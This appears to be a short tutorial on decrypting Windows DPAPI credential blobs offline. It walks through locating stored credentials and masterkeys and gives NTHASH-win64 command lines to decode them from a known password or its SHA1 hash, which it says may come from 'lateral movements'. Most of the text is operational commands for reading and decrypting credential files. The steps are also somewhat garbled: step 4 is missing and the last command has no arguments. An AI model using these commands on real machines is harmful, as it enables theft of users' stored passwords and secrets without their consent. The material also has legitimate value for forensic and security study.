Lets decrypt a user credentials (which happen to be enctyped in dpapi blobs).

5 steps:
-look at the encrypted blob/credential
-look at the encrypted masterkey
-retrieve the sha1 user password and compute the sha1-hmac key
-decrypt the encrypted masterkey
-decrypt the encrypted blob/credential
-conclusion

1/look at the encrypted blob/credential

User credentials are located here:
C:\Users\username\AppData\Roaming\Microsoft\Credentials
C:\Users\username\AppData\Local\Microsoft\Credentials

NTHASH-win64.exe /decodeblob
/binary:C:\Users\erwan\AppData\Roaming\Microsoft\Credentials\444F0F078CB16849842B0928EF18C7E1

->note the dwFlags:0 = user
We can see it is using masterkey ae222549-867a-4269-b29f-49500e8842c8.

2/look at the encrypted masterkey

Masterkeys are located here:
C:\Users\username\AppData\Roaming\Microsoft\Protect\sid

NTHASH-win64.exe /decodemk
/binary:C:\Users\erwan\AppData\Roaming\Microsoft\Protect\S-1-5-21-2427513087-2265021005-1965656450-1001\ae222549-867a-4269-b29f-49500e8842c8

3/retrieve the sha1 user password and compute the sha1-hmac key

To decrypt this masterkey, you either know the cleartext password or you know its SHA1 form (retrieved thru some other lateral movements).

If you know the cleartext password, then lets computer its SHA1.
Skip the below if you already have the SHA1 password.

NTHASH-win64.exe /widestringtohexa /input:Password12345

Note that you can run the 2 previous commands in one go :
NTHASH-win64.exe /widestringtohexa /input:Password12345 | NTHASH-win64.exe /gethash /mode:SHA1

Now, lets compute the sha1-hmac key to decrypt the masterkey.
For this we need the SHA1 password + user sid.

NTHASH-win64.exe /widestringtohexa /input:S-1-5-21-2427513087-2265021005-1965656450-1001\0

Note : with latest version you can skip step 3 and execute the below (i.e provide the SHA1 user password and let NTHASH compute the hmac):
nthash-win64 /decodemk
/binary:C:\Users\erwan\AppData\Roaming\Microsoft\Protect\S-1-5-21-2427513087-2265021005-1965656450-1001\75380869-42A8-42EC-9E9B-8518F42802EE
/password:0D32ECD47EDA6A1D3FFA259089B59798DE1D7CE0

5/decrypt the encrypted blob/credential

nthash-win64 /decodeblob

6/Conclusion ?

You dont need to be online or run as the user to retrieve secrets :
If you own a blob, its associated masterkey and the cleartext password OR the sha1 password, you can decrypt these offline.
